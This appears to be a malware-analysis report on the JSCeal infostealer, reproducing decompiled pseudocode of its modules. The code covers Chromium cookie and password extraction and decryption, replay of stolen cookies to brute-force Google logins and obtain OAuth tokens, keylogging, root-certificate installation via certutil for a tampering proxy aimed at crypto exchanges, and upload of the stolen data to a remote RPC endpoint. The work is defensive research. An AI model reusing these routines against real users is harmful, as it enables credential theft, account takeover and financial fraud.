Variant 2 (worker path):

function func_initializeModules_0x10000d2fe()
{
    r4 = 0
    ACCU = func_initializeAsarRouter_0x10000d28b()
    ACCU = func_initializeScreenCaptureModule_0x10000d2e3()
    ACCU = func_initSecurityModule_0x10000d2ef()
    ACCU = func_initializeNotificationModule_0x10000d2f9()
    return undefined
}

Comparing the initialization functions across different payloads can quickly give us an approximate idea of what has changed (although the structure is not always directly comparable).

Let’s zoom in on one of the functions called from this initializer: func_initializeMainRouter_0x10000c910. It sets up a large collection of handlers, and the proposed names give a quick indication of what to expect inside:

function func_initializeMainRouter_0x10000c910()
{
    r4 = 0
    ACCU = func_initMetaRouter_0x100005537()
    ACCU = func_initializePowerRouter_0x100005929()
    ACCU = func_initScreencastRouterModule_0x10000678b()
    ACCU = func_initKeydownRouterModule_0x10000679f()
    ACCU = func_initializeTerminalRouter_0x100006e0e()
    ACCU = func_initializeFileSystemRouter_0x100006efa()
    ACCU = func_initializeProcessRouter_0x100006f11()
    ACCU = func_initializeWindowsRouter_0x100007038()
    ACCU = func_initializeAppRouter_0x100009ef2()
    ACCU = func_initializeNgcRouter_0x10000a98f()
    ACCU = func_initializeRouterModule_0x10000a99e()
    ACCU = func_initializeBrowserRouter_0x10000b83a()
    ACCU = func_initTelegramModule_0x10000b862()
    ACCU = func_initializeSslProxyModule_0x10000be35()
    ACCU = func_initializeRouterModule_0x10000bffa()
    ACCU = func_initializeServerModule_0x10000c8bb()
    ACCU = func_initializeNotificationRouter_0x10000c8c2()
    ACCU = func_initializeApplication_0x10000c8cf()
    ACCU = func_initializeAutounattendModule_0x10000c8e7()
    ACCU = func_initRecoveryModule_0x10000c8f3()
    ACCU = func_initSystemControlModule_0x10000c8fe()
    r10 = new {"power": null, "screen": null, "keyboard": null, "terminal": null, "filesystem": null, "processes": null, "windows": null, "asar": null, "ngc": null, "checker": null, "chromium": null, "telegram": null, "proxy": null, "reverseProxy": null, "server": null, "toast": null, "machine": null, "unattend": null, "winRE": null, "tools": null}
    r10["power"] = global_DP
    r10["screen"] = global_QX
    r10["keyboard"] = global_RX
    r10["terminal"] = global_YX
    r10["filesystem"] = global_iG
    r10["processes"] = global_oG
    r10["windows"] = global_aG
    r10["asar"] = global_oj
    r10["ngc"] = global_iz
    r10["checker"] = global_sz
    r10["chromium"] = global_EK
    r10["telegram"] = global_pK
    r10["proxy"] = global_HK
    r10["reverseProxy"] = global_tU
    r10["server"] = global_pU
    r10["toast"] = global_gU
    r10["machine"] = global_VU
    r10["unattend"] = global__U
    r10["winRE"] = global_yU
    r10["tools"] = global_kU
    global_RL = (global_Nh["router"])(r10)
    return undefined
}

The structure is a tRPC router tree: each initialize*Router or initialize*Module call builds a set of procedures and assigns them to a global. The same router / procedure / query / mutation pattern recurs throughout the payload, including in the security, screen capture, and cryptocurrency modules shown later. For example:

function func_initSecurityModule_0x10000d2ef()
{
    Scope[6][6] = func_n_0x10000d2e4
    r5 = func_initializeNativeModule_0x1000054f8["exports"]()
    global_JB = func_interopRequireWildcard_0x10000317a(r5)
    ACCU = func_requireCluster_0x10000317e()
    ACCU = func_noop_0x10000a9a0()
    ACCU = func_initClusterModule_0x10000cdef()
    r2 = (func_createInstance_0x100000ab5())["router"]
    r4 = new {"getUserDirectory": null}
    r6 = (func_createInstance_0x100000ab5())["procedure"]
    r5 = r6["query"]
    r4["getUserDirectory"] = r5(func_getUserDirectory_0x10000d2ec)
    global_OL = r2(r4)
    ACCU = func_runIfWorkerPool_0x10000000b(("security-impersonation"), func_impersonateUserAndInit_0x10000d2ee)
    return undefined
}

// the handler:
function func_impersonateUserAndInit_0x10000d2ee(a0)
{
    r1 = global_JB["impersonateUserSecurity"]
    ACCU = r1(a0)
    ACCU = func_initWorkerSocket_0x100000abd(global_OL)
    return undefined
}

Initialization functions frequently end by registering a worker thread to run the handlers they just built. Here func_runIfWorkerPool_0x10000000b binds the security-impersonation pool to func_impersonateUserAndInit_0x10000d2ee, which impersonates a user security context before attaching the router to a worker socket. The remaining modules follow the same shape; below we look at the ones that expose the most capability.

Uploading collected data

Among the recovered initialization functions are routers that register handlers for collected secrets. Following those handlers downstream shows how the local routes reach the malware’s network client.

function func_initializeApplicationsRouter_0x10000c8a5()
{
    Scope[604][4] = func_n_0x10000c89e
    r3 = 0
    ACCU = func_initializeNetworkClient_0x100006702()
    ACCU = func_initializeDatabase_0x10000c895()
    ACCU = func_unknown_0x10000590f()
    r6 = global_fi["object"]
    r8 = new {"application": null, "value": null}
    r8["application"] = global_fi["string"]()
    r8["value"] = global_fi["string"]()
    global_DL = r6(r8)
    r9 = new {"secrets": null}
    r13 = new {"save": null}
    r17 = (global_DB["procedure"])["input"]
    r17 = r17(global_DL)
    r16 = r17["meta"]
    r18 = new {"openapi": null}
    r19 = new {"method": null, "path": null}
    r19["method"] = "POST"
    r19["path"] = "/applications/secrets/save"
    r18["openapi"] = r19
    r16 = r16(r18)
    r15 = r16["output"]
    r17 = global_fi["void"]
    r17 = r17()
    r15 = r15(r17)
    r14 = r15["mutation"]
    r13["save"] = r14(func_saveApplicationSecretHandler_0x10000c8a4)
    r9["secrets"] = (global_DB["router"])(r13)
    global_fU = (global_DB["router"])(r9)
    return undefined
}

An analogous route handles collected wallet mnemonic data through /wallets/mnemonic/save:

function func_initializeMnemonicRouter_0x10000c89d()
{
[...]
    r11["path"] = "/wallets/mnemonic/save"
[...]
    r5["saveMnemonic"] = r6(func_saveMnemonicHandler_0x10000c89c)
 // leads to: func_saveMnemonic_0x1000005dc
}

The handler passes the record type, collected value, mutation callback, and fields used by the common diff/save helper to global_hl. After computing whether the new value changes the stored state, the helper invokes the corresponding global_iB mutation when a save is required.

function func_saveMnemonic_0x1000005dc(a0)
{
    r7 = "mnemonic"
    r9 = global_iB["wallets"]["saveMnemonic"]
    r9 = r9["mutate"]
    r11 = new [0]
    r11[0] = "words"
    r5 = r2
    return global_hl(r7, a0, r9, r11)
}

The initializer (func_initializeNetworkClient_0x100006702wires global_iB to two actual transportsthe RequestLink uses func_sendBinaryData_0x100006700, while its SocketLink uses func_connectWebSocket_0x1000066ff.

See the original function [here].

Following func_sendBinaryData_0x100006700 shows where the HTTP path leads next:

function func_sendBinaryData_0x100006700()
{
    r1 = ...
    r0 = ...
    r3 = undefined
    r4 = func_buildRpcUrl_0x1000004c7("https", (""))
    return func_postBinaryData_0x1000004c4(...r3, r4, r1)
}

There is an analogous function for the WebSocket:

function func_connectWebSocket_0x1000066ff()
{
    r1 = func_buildRpcUrl_0x1000004c7("wss")
    ACCU = func_createWriteStream_0x100005cb8
    return func_createWriteStream_0x100005cb8(r1)
}

The URL builder constructs an RPC endpoint in the form https://api.<domain>/rpc or wss://api.<domain>/rpc, and adds machineId and token query parameters.

function func_buildRpcUrl_0x1000004c7(a0, a1)
{
    ...
    r7 = (a0 + "://api.")
    r7 = (r7 + global_CE)
    r5 = (r7 + "/rpc")

    r11 = new {"machineId": null, "token": null}
    r11["machineId"] = global_cE
    r11["token"] = r1

    return func_buildUrlWithParams_0x1000002a6(r5, r11)
}

The HTTP transport ultimately performs a binary POST:

function func_postBinaryData_0x1000004c4(a0, a1, a2)
{
    ...
    r7 = global__b["post"]

    r11 = new {"headers": null, "responseType": null, "signal": null}
    r12 = new {"content-type": null}
    r12["content-type"] = "application/octet-stream"
    r11["headers"] = r12
    r11["responseType"] = "arraybuffer"

    r8 = r7(a0["toString"](), a1, r11)
    r7 = await r8
    ...
}

It submits the supplied binary payload as application/octet-stream and expects an arraybuffer response.

Stealing browser data

The browser module is one of the broader components recovered from the payload. Rather than implementing a parser for a single Chrome profile, JSCeal defines a common abstraction for several Chromium-based browsers.

In the analyzed sample, the configuration includes Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Avast Secure Browser, Vivaldi, and Cốc Cốc. For each browser, the malware stores the executable name and the expected location of its user-data directory. Some entries also contain browser-specific launch arguments, extension settings, and cryptographic material.

A fragment of the configuration is shown below:

function func_initializeBrowserConfig_0x10000a9ad(a0)
{
[...]
    r6 = new {"browsers": null, "extensions": null}
    r7 = new {"CHROME_BROWSER": null, "EDGE_BROWSER": null, "BRAVE_BROWSER": null, "OPERA_BROWSER": null, "OPERA_GX_BROWSER": null, "AVAST_BROWSER": null, "VIVALDI_BROWSER": null, "COCCOC_BROWSER": null}
    r8 = new {"executable": null, "userData": null, "hmacKey": null, "serviceKeys": null, "msi": null}
    r8["executable"] = "chrome.exe"
    r9 = r1["join"]
    r8["userData"] = r9("AppData", "Local", "Google", "Chrome", "User Data")
    r8["hmacKey"] = func_base64ToBuffer_0x10000a9a9("50jzNthepfnc3yXY80emW0zfZnYA8C32ckoq8YohLSa3iKJQhpEM86kDE2locfPcBYI3MMkd+LpcT9nIhLUFqA==")
    r9 = new {"v1": null, "v2": null, "v3": null}
    r9["v1"] = func_base64ToBuffer_0x10000a9a9("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
    r9["v2"] = func_base64ToBuffer_0x10000a9a9("6Y831/Th+kM9GTBNwiWAQgkOLR1+6nZw1B9zjQhylmA=")
    r10 = new {"name": null, "value": null}
    r10["name"] = "Google Chromekey1"
    r10["value"] = func_base64ToBuffer_0x10000a9a9("zPihzsVmBbhRdVK6Gi0GHAOinpAnT7L89Zukt1w5I5A=")
    r9["v3"] = r10
    r8["serviceKeys"] = r9
    [...]

You can see the full function [here].

The code reads the browser’s Local State file and uses its profile.info_cache structure to enumerate available profiles. Each profile is then represented by an object exposing separate iterators for the artifacts that can be collected:

iterCookies
iterLogins
iterSessions
iterTokens
iterHistoryURLs
iterBookmarks
iterExtensions

The Local State file also contains information required to decrypt protected browser data. JSCeal retrieves both the traditional encrypted key and the newer App-Bound encrypted key:

function func_readEncryptionKeys_0x10000b6e9(a0, a1, a2)
{
    Scope[1593][3] = a1
    Scope[1593][2] = a2
    r6 = <closure>
    r7 = <this>
    r0 = a2
    ACCU = func_b_0x10000b6e6
    Scope[1593][4] = func_b_0x10000b6e6
    try
    {
        r7 = Scope[1591][11]["join"]
        r1 = r7(a0, "Local State")
        r7 = Scope[1591][9]["readJSON"]
        r8 = r7(r1)
        r7 = r0
        r7 = await r8
        r8 = _GeneratorGetResumeMode(r0)
        if (!r8 === 0)
        {
            ACCU = r7
        }
        r3 = r7["os_crypt"]["encrypted_key"]
        r4 = r7["os_crypt"]["app_bound_encrypted_key"]
        r7 = new {"key": null, "appBoundKey": null}
        r7["key"] = func_decodeBase64Buffer_0x10000b6eb(r3, func_decryptKey_0x10000b6e7)
        r7["appBoundKey"] = func_decodeBase64Buffer_0x10000b6eb(r4, func_decryptAppBoundKey_0x10000b6e8)
        r8 = r7
        r7 = r0
        ACCU = r8
        return r8
    }
    catch {}
    r7 = ACCU
    ACCU = null
    ACCU = Scope[1594]
    r8 = r0
    return Scope[1594][2]
}

ℹ Note: the _GeneratorGetResumeMode check is V8’s internal mechanism for resuming after an await; it can be treated as control-flow bookkeeping.

Cookies are read directly from the SQLite database located at:

<profile>\Network\Cookies

The query retrieves both plaintext and encrypted values, along with the host, path, expiry time, HttpOnly flag, and SameSite setting:

SELECT
    host_key,
    path,
    name,
    CAST(value AS BLOB) AS plain_value,
    CAST(encrypted_value AS BLOB) AS encrypted_value,
    is_httponly,
    samesite,
    expires_utc
FROM cookies

If a plaintext value is not present, the encrypted value is passed to the browser-data decryption routine. The resulting record is normalized into a structure such as:

{
    host: host_key,
    path: path,
    name: name,
    value: decryptedValue,
    httpOnly: isHttpOnly,
    sameSite: sameSite,
    expiresAt: expiryDate
}

Saved credentials are handled in a similar way. JSCeal opens the Login Data database and extracts the origin, username, and encrypted password:

SELECT
    origin_url,
    username_value,
    password_value
FROM logins

Original snippet [here].

After decryption, the malware produces a structured credential record:

{
    origin: row["origin_url"],
    username: row["username_value"],
    password: decryptedPassword
}

The decryption implementation supports multiple Chromium data formats. Values prefixed with v10 or v11 are decrypted using the key recovered through DPAPI. Values prefixed with v20 use the App-Bound key. Records without one of these prefixes are passed directly to the native DPAPI unprotection routine, optionally under the security context of the browser’s user session.

The responsible code:

function func_decryptPassword_0x10000af0f(a0, a1, a2, a3)
{
    r1 = Scope[1930][27]["startsWith"]
    if (r1(a0, "v10"))
    r1 = Scope[1930][27]["startsWith"]
        || (r1(a0, "v11"))
    {
        if (!a1)
        {
            ACCU = Error
            ACCU = Error("DPAPI key is required")
        }
        r4 = a0["subarray"]
        r4 = r4(3)
        return func_decryptAesGcm_0x10000af16(r4, a1)
    }
    r1 = Scope[1930][27]["startsWith"]
    if (r1(a0, "v20"))
    {
        if (!a2)
        {
            r2 = "AppBound key is required"
            ACCU = Error
            ACCU = Error(r2)
        }
        r4 = a0["subarray"]
        r4 = r4(3)
        return func_decryptAesGcm_0x10000af16(r4, a2)
    }
    if (a3 == null)
    {
        ACCU = Error
        ACCU = Error("Session id is required")
    }
    return func_decryptData_0x10000af12(a0, a3)
}

This gives JSCeal access not only to raw browser files, but to usable records containing session cookies, usernames, and decrypted passwords. The data can be saved through the malware’s collection handlers, consumed by platform-specific modules, or reused immediately by another part of the browser component.

One of those uses goes beyond passive credential collection.

From stolen browser data to active session replay

The browser router contains a dedicated operation named saveAndroidTokens:

r9 = new {"start": null, "saveProfiles": null, "saveExtensions": null, "saveAndroidTokens": null, "openLink": null}
[...]
r10 = (global_Nh["procedure"])["mutation"]
r9["saveAndroidTokens"] = r10(func_processBrowserCookies_0x1000006d5)
[...]

Original snippet [here].

The implementation uses Puppeteer together with puppeteer-extra. Before launching the browser, it registers a set of core and stealth plugins. It also uses ghost-cursor to perform some of the page interactions.

The malware does not download a separate Chromium build. It launches one of the browsers already installed on the machine, using the executable paths and profiles discovered by the browser module. The launch configuration explicitly selects Puppeteer’s headless shell mode:

options["executablePath"] = browserExecutable
options["headless"] = "shell"

browser = puppeteer.launch(options)

You can see the full function [here].

JSCeal first creates a page and injects cookies recovered from the victim’s browser profile:

page = await browser.newPage()
await page.setCookie(...recoveredCookies)

It then opens Google’s Android authentication endpoint:

https://accounts.google.com/o/android/auth?return_user_id=true

You can see the full function [here].

The navigation waits until network activity has settled:

await page.goto(
    "https://accounts.google.com/o/android/auth?return_user_id=true",
    { waitUntil: "networkidle2" }
)

You can see the full function [here].

Once the page is loaded, the malware enumerates the Google accounts displayed in the current session:

const elements = await page.$$("div[data-email]")

Original snippet [here].

For each recovered email address, it queries the passwords previously extracted from browser storage. It then selects the corresponding account using a selector built from the email address:

await cursor.click(
    "div[data-identifier=\"" + email + "\"]"
)

You can see the full function [here].

The automation handles multiple branches of Google’s authentication flow, including:

/signinchooser
/signin/confirmidentifier
/signin/challenge
/signin/challenge/selection
/signin/challenge/pwd
/oauth2/programmatic_auth

You can see the full function [here].

When a password challenge is reached, JSCeal iterates over the candidate passwords associated with that account:

for (password of recoveredPasswords) {
    console.info("Trying password " + password)

    await page.type(
        "input[type='password']",
        password
    )

    // Continue the authentication flow and inspect the result.
}

You can see the full function [here].

An invalid password is detected through the state of the password input. A successful attempt is expected to lead either to the programmatic OAuth endpoint or to another supported challenge stage.

After authentication, the malware reads the browser’s cookies and searches specifically for:

user_id
oauth_token

The result is returned together with the password that produced it:

{
    userId: userIdCookie,
    token: oauthTokenCookie,
    password: successfulPassword
}

Finally, the token is saved through the malware’s Google handler with its scope explicitly marked as ANDROID:

await google.saveOAuthToken.mutate({
    userId: userId,
    scope: "ANDROID",
    value: token
})

You can see the full function [here].

This changes the nature of the browser-stealing capability. JSCeal does not just copy cookies and password databases for later examination by the attacker. It can reconstruct a browser session, replay the victim’s cookies, correlate Google accounts with passwords recovered from the same host, automate authentication challenges, and obtain a fresh OAuth token.

The use of stealth plugins and ghost-cursor suggests an attempt to reduce obvious automation fingerprints and make interaction with the login pages resemble ordinary browser activity. It does not guarantee that the procedure succeeds against every version of Google’s authentication flow, but the deobfuscated code clearly shows that the complete workflow was implemented.

Not every browser-related operation uses Puppeteer. A separate openLink handler launches an installed browser directly with the selected --user-data-dir and --profile-directory. Puppeteer is used for the more involved operation where JSCeal needs to inject cookies, navigate between authentication stages, interact with page elements, and retrieve the resulting authentication state.

Spying functionality

The function labeled func_initializeScreenCaptureModule_0x10000d2e3 is indeed responsible for setting up screenshot capture, but its scope goes beyond that. Inside we also find a keylogger and handlers for enumerating and manipulating visible windows. The inner functions carry more granular labels — func_takeScreenshot_0x10000d2d1func_getVisibleWindows_0x10000d2d3func_controlWindow_0x10000d2d4func_initKeyboardCapture_0x10000d2e1 — and taken together they reveal what the parent name understates. Examining each function manually confirms that this is a broader surveillance module.

function func_initializeScreenCaptureModule_0x10000d2e3()
{
    Scope[7][10] = func_c_0x10000d2c7
    r5 = func_initializeNativeModule_0x1000054f8["exports"]()
    global_K5 = func_interopRequireWildcard_0x10000317a(r5)
    r5 = func_initKeyboardModule_0x10000d2c6["exports"]()
    global_e6 = func_interopRequireWildcard_0x10000317a(r5)
    ACCU = func_requireCluster_0x10000317e()
    ACCU = func_noopDispose_0x10000676f()
    ACCU = func_initClusterModule_0x10000cdef()
    ACCU = func_initializeObservableAbortError_0x100006649()
    ACCU = func_noopSetup_0x100006778()
    ACCU = func_noopHandler_0x10000673e()
    ACCU = func_unknown_0x10000590f()
    ACCU = func_initializeBufferCheck_0x10000701a()
    r6 = global_e6["keyboard"]["start"]
    r5 = r6["bind"]
    r5 = r5(global_e6["keyboard"])
    r7 = global_e6["keyboard"]["stop"]
    r6 = r7["bind"]
    r6 = r6(global_e6["keyboard"])
    global_TL = func_createAbortableStream_0x1000004e4(r5, r6)
    r2 = (func_createInstance_0x100000ab5())["router"]
    r4 = new {"screenshot": null, "windows": null, "keydown": null}
    r7 = (func_createInstance_0x100000ab5())["procedure"]
    r6 = r7["input"]
    r9 = global_fi["number"]()
    r8 = r9["optional"]
    r8 = r8()
    r6 = r6(r8)
    r5 = r6["query"]
    r4["screenshot"] = r5(func_takeScreenshot_0x10000d2d1)
    r5 = (func_createInstance_0x100000ab5())["router"]
    r7 = new {"visible": null, "control": null, "flash": null}
    r9 = (func_createInstance_0x100000ab5())["procedure"]
    r8 = r9["query"]
    r7["visible"] = r8(func_getVisibleWindows_0x10000d2d3)
    r10 = (func_createInstance_0x100000ab5())["procedure"]
    r9 = r10["input"]
    r11 = global_fi["object"]
    r13 = new {"handle": null, "command": null}
    r13["handle"] = global_fi["number"]()
    r17 = func_getObjectKeys_0x1000004ce(global_K5["windowCommands"])
    r13["command"] = func_enumValue_0x100000542(r17)
    r11 = r11(r13)
    r9 = r9(r11)
    r8 = r9["mutation"]
    r7["control"] = r8(func_controlWindow_0x10000d2d4)
    r10 = (func_createInstance_0x100000ab5())["procedure"]
    r9 = r10["input"]
    r11 = global_fi["number"]()
    r9 = r9(r11)
    r8 = r9["mutation"]
    r7["flash"] = r8(func_flashWindow_0x10000d2d5)
    r4["windows"] = r5(r7)
    r6 = (func_createInstance_0x100000ab5())["procedure"]
    r5 = r6["subscription"]
    r4["keydown"] = r5(func_initKeyboardCapture_0x10000d2e1)
    global_LL = r2(r4)
    ACCU = func_runIfWorkerPool_0x10000000b(("sessions"), func_initWorkerSocketLL_0x10000d2e2)
    return undefined
}

Interception proxy and targeted traffic manipulation

A common technique used by banking trojans is to install a local proxy and inject or modify web content in selected services. JSCeal follows a similar pattern: the recovered code shows proxy setup, certificate generation and installation, and service-specific request and response modification.

There is a function that runs the local proxy:

function func_setLocalProxy_0x10000be31(a0)
{
    r2 = ("127.0.0.1:" + Scope[1139][4])
    return func_setProxyLoop_0x100000a41(a0, r2)
}

We can find a function that generates a certificate:

function func_generateKeyPairAndCertificate_0x10000072c()
{
    r6 = (require("crypto"))["generateKeyPairSync"]
    r7 = "rsa"
    r8 = new {"modulusLength": 2048, "publicKeyEncoding": null, "privateKeyEncoding": null}
    r9 = new {"type": null, "format": null}
    r9["type"] = "pkcs1"
    r9["format"] = "pem"
    r8["publicKeyEncoding"] = r9
    r9 = new {"type": null, "format": null}
    r9["type"] = "pkcs8"
    r9["format"] = "pem"
    r8["privateKeyEncoding"] = r9
    r6 = r6(r7, r8)
    r3 = r6["privateKey"]
    r4 = func_generateSelfSignedCertificate_0x10000071d(4096)
    r6 = new {"privateKey": null, "certificate": null}
    r6["privateKey"] = r3
    r6["certificate"] = r4
    return r6
}

Then, it installs a locally generated, attacker-controlled root certificate onto the victim machine, first dropping it as a temporary file, and then using certutil to add it to the local store.

function func_installCertificate_0x100000a3e(a0)
{
    r6 = <closure>
    r7 = <this>
    ACCU = func_n_0x100000a3c
    try
    {
        r8 = global_UK["tmpName"]()
        r7 = await r8
        r8 = _GeneratorGetResumeMode(Scope[10601])
        if (!r8 === 0)
        {
            ACCU = r7
        }
        r3 = r7
        ACCU = r3
        try
        {
            r10 = (require("fs/promises"))["writeFile"]
            r11 = r10(r3, a0)
            r10 = await r11
            r11 = _GeneratorGetResumeMode(Scope[10601])
            if (!r11 === 0)
            {
                ACCU = r10
            }
            r13 = "certutil"
            r15 = new [0, "-f", 0, 0]
            r15[0] = "-addstore"
            r15[2] = "root"
            r15[3] = r3
            r11 = r2
            r11 = func_spawnChildProcess_0x100000706(r13, r15)
            r10 = await r11
            r11 = _GeneratorGetResumeMode(Scope[10601])
            if (!r11 === 0)
            {
                ACCU = r10
            }
            ACCU = -1
            r8 = -1
            r7 = -1
        }
        catch
        {
            r8 = ACCU
            r7 = 0
        }
        r11 = (require("fs/promises"))["rm"](r3)
        r10 = await r11
        r11 = _GeneratorGetResumeMode(Scope[10601])
        if (!r11 === 0)
        {
            ACCU = r10
        }
        ACCU = null
        if (r7 === 0)
        {
            ACCU = r8
        }
        r8 = undefined
        ACCU = r8
        return r8
    }
    catch {}
    r7 = ACCU
    ACCU = null
    ACCU = Scope[10602]
    return Scope[10602][2]
}

The proxy is not limited to passive interception. The recovered code contains dedicated handlers that modify selected requests and responses for specific services. A configuration function exposes separate overrides for Binance, Bybit, and Ledger, as well as generic handlers for replacing HTML, blocking hosts, and clearing selected cookies.

function func_applyInputOverrides_0x10000be34(a0)
{
    ACCU = a0["input"]["binance"]
    r2 = a0["input"]["binance"]
    if (!a0["input"]["binance"] == undefined)
    {
        ACCU = r2["overrideQR"]
    }
    else
    {
        ACCU = undefined
    }
    if (ACCU)
    {
        r2 = global_Nm["overrideQR"]
        r4 = a0["input"]["binance"]["overrideQR"]
        ACCU = r2(r4)
    }
    else
    {
        ACCU = global_Nm["disableOverrideQR"]()
    }
    ACCU = a0["input"]["bybit"]
    [...]

You can see the full function [here].

For Binance, JSCeal intercepts the QR-login response and replaces the returned qrCode value with a configured value.

function func_appendQrCode_0x1000009f1(a0)
{
    if (a0["json"]["success"])
    {
        r2 = a0["json"]["data"]
        r2["qrCode"] = Scope[10627][2]
        r2 = new {"json": null}
        r2["json"] = a0["json"]
        return r2
    }
    return undefined
}

The Bybit handlers go further. One forwards intercepted verification components through the same global_iB network client described earlier and removes them from the intercepted response.

function func_sendBybitCodes_0x100000a09(a0)
{
    Scope[10623][3] = func_x_0x100000a07
    r4 = Object["entries"]
    r6 = a0["json"]["component_list"]
    r4 = r4(r6)
    r3 = r4["map"]
    r1 = r3(func_joinWithColon_0x100000a08)
    if (r1["length"])
    {
        r5 = global_iB["notifications"]["send"]
        r4 = r5["mutate"]
        r7 = r1["join"]
        r6 = ("Bybit codes\\n" + r7("\\n"))
        r4 = r4(r6)
        r3 = r4["catch"]
        ACCU = r3(func_pushError_0x100000142)
    }
    a0["json"]["component_list"] = {}
    r3 = new {"json": null}
    r3["json"] = a0["json"]
    return r3
}

Another converts a successful pass result into a new challenge with a randomly generated risk token.

function func_injectRiskToken_0x100000a0d(a0)
{
    if (!a0["json"] == undefined)
    ACCU = a0["json"]["result"]
    r4 = a0["json"]["result"]
        && (!a0["json"]["result"] == undefined)
    {
        ACCU = r4["risk_token_type"]
    }
    else
    {
        ACCU = undefined
    }
    r4 = ACCU
    if (r4 === "pass")
    {
        r2 = a0["json"]["result"]
        r3 = "risk_token"
        r4 = (require("crypto"))["randomUUID"]
        r2[r3] = r4()
        r2 = a0["json"]["result"]
        r2["risk_token_type"] = "challenge"
        r2 = new {"json": null}
        r2["json"] = a0["json"]
        return r2
    }
    return undefined
}

A Ledger-specific handler intercepts /public_resources/analytics.min.js from resources.live.ledger.app and substitutes a generated script that hides the existing React root and displays configured HTML in its place.

function func_initErrorDisplay_0x100000a1a(a0)
{
    ACCU = func_removeElement_0x100000a1c()
    Scope[10617][3] = func_buildErrorDisplayScript_0x100000a1e(a0)
    r4 = (global_Gm["createChild"]())["get"]
    r6 = "resources.live.ledger.app"
    r7 = "/public_resources/analytics.min.js"
    r8 = new {"response": null}
    r9 = new {"full": null}
    r9["full"] = func_createFullBody_0x100000a19
    r8["response"] = r9
    ACCU = r4(r6, r7, r8)
    return undefined
}

Other utility handlers can return arbitrary HTML with a 200 response while stripping CSP and content encoding, return an empty 403 response for selected hosts, or clear selected cookies in intercepted requests and responses.

Cryptocurrency account and balance collection

JSCeal contains multiple handlers targeting cryptocurrency platforms. One class of handlers intercepts account data and records cryptocurrency balances.

For example, Kraken is one of the targeted services. The snippet below shows the corresponding initialization.

function func_initKrakenRouter_0x10000bc3e(a0)
{
    Scope[1246][6] = func_a_0x10000bc35
    ACCU = a0
    if (a0)
    {
        ACCU = a0["__importDefault"]
    }
    if (!ACCU)
    {
        ACCU = func_interopRequireDefault_0x10000bc3a
    }
    r1 = ACCU
    r7 = Object["defineProperty"]
    r10 = "__esModule"
    r11 = new {"value": <true}
    ACCU = r7(a0, r10, r11)
    r10 = func_initModule_0x10000ba72["exports"]()
    Scope[1246][7] = r1(r10)
    r2 = func_initJsonTransformerModule_0x10000ba7b["exports"]()
    r3 = func_initializeRouterBridgeModule_0x10000ba61["exports"]()
    r4 = "iapi.kraken.com"
    r7 = r3["Router"]
    r5 = r7(r0)
    r7 = r5["get"]
    r10 = "/api/internal/account/balance/history"
    r11 = new {"response": null}
    r12 = new {"full": null}
    r13 = r2["jsonTransformer"]
    r12["full"] = r13(func_saveKrakenBalance_0x10000bc3d)
    r11["response"] = r12
    r8 = r5
    ACCU = r7(r4, r10, r11)
    a0["default"] = r5
    return undefined
}

function func_saveKrakenBalance_0x10000bc3d(a0)
{
    Scope[1247][3] = func_C_0x10000bc3b
    r4 = a0["json"]["result"]["historical_balances_per_asset_category"]
    r3 = r4["map"]
    r1 = r3(func_getLastHistoricalBalance_0x10000bc3c)
    r4 = Scope[1246][7]["default"]
    r3 = r4["saveBalance"]
    if (!r4["saveBalance"] == undefined)
    {
        r5 = new {"source": null, "name": null, "value": null}
        r5["source"] = "EXCHANGE"
        r5["name"] = "KRAKEN"
        r5["value"] = r1
        ACCU = r3(r5)
    }
    else
    {
        ACCU = undefined
    }
    return undefined
}

function func_getLastHistoricalBalance_0x10000bc3c(a0)
{
    r0 = a0["historical_balances"]
    return r0[(a0["historical_balances"]["length"] - 1)]
}

We extracted platform identifiers from all saveBalance calls, obtaining the following list of targets:

UBITEXPAXFULKRAKENHTXCOINSPH
TOKOCRYPTOOKXKCEXHATACOINHUB
REMITANONOONESFORTUNO_MARKETSGATEIOBYBIT
POLONIEXMEXCCSGOEMPIREFMCPAYBINANCE
PIONEXKUCOINI3QDIGIFINEXASCENDEX

JSCeal evolution

The last JSCeal payload we observed using V8 10.2.154.26-node.25 was 0d1fce0cb2b9dec26a10f0822aeffb19, associated with campaigns starting at the end of October 2025. By that time, we could already see the authors making incremental changes intended to complicate analysis.

Earlier, the JavaScript launcher had been renamed from preflight.js to preload.js and, along with this change, was itself obfuscated using the same javascript-obfuscator. The payload was also renamed to app.js. Although its contents were still a V8 code cache rather than JavaScript source, the new name made it blend in better with ordinary application files and rendered hunting based on the .jsc extension ineffective. These changes were still relatively minor and did not require modifications to our analysis toolkit.

A more significant update appeared in campaigns starting early November 2025. The bundled Node.js runtime was upgraded, bringing V8 to 13.6.233.10-node.28. In our experiments, code caches produced for this runtime proved considerably more sensitive to the exact runtime build and snapshot configuration, making it more difficult to obtain a compatible standalone V8 disassembler. However, once we were able to recover and decompile the bytecode, the overall payload structure remained familiar. We could recognize the same javascript-obfuscator patterns, including the string-decoding infrastructure, proxy indirection, and control-flow flattening used by the earlier generation.

The authors introduced another obstacle by adding an AES-256-CBC encryption layer around the Brotli-compressed payload. The first encrypted payload we observed was generated on 2025-11-11 (581e2e2265d0c1509b3799c5a9039374). The AES key is not stored in the malware bundle itself. Instead, another stage of the deployment chain provides it through an environment variable. Recovering the underlying V8 code cache therefore requires obtaining the corresponding key from the surrounding infection chain, which is not always possible when only an isolated bundle or payload is available. Protecting a payload with an encryption key supplied by an earlier deployment stage is an effective anti-analysis technique, consistent with patterns seen in other mature malware frameworks.

Alongside these changes in payload protection, we also observed campaigns targeting macOS; one example is de10c6b3dc4619f59bc9c80a0aa15e6a.

Taken together, these developments show that the JSCeal authors are investing both in making the payload harder to analyze and in broadening its platform coverage. With campaigns continuing into recent months, the changes indicate that JSCeal remains under active development.

Conclusions

JSCeal combines two forms of analysis friction: a version-specific compiled V8 format and several layers of JavaScript obfuscation applied before compilation. Neither makes the malware impossible to reverse, but together they move it outside the workflows that analysts normally rely on.

Several conclusions emerged from this work.

Format choice creates asymmetric analysis cost. Attackers do not need a custom compiler or a novel virtual machine to obtain meaningful protection. They can combine the Node.js ecosystem, an off-the-shelf obfuscator, and V8 code caching to produce capable malware quickly. The defender, meanwhile, has to deal with version-sensitive bytecode, immature tooling, and a large pseudocode corpus before reaching the application logic.

Layered obfuscation needs to be addressed with layered deobfuscation. JSCeal’s transformations depend on one another. Recovered strings expose dictionary keys and dispatcher order; those expose proxy relationships; proxy cleanup reveals simple operations and direct calls. Reconstructing the script in one go was not possible. We had to isolate each transformation and undo them by a narrow, ordered sequence.

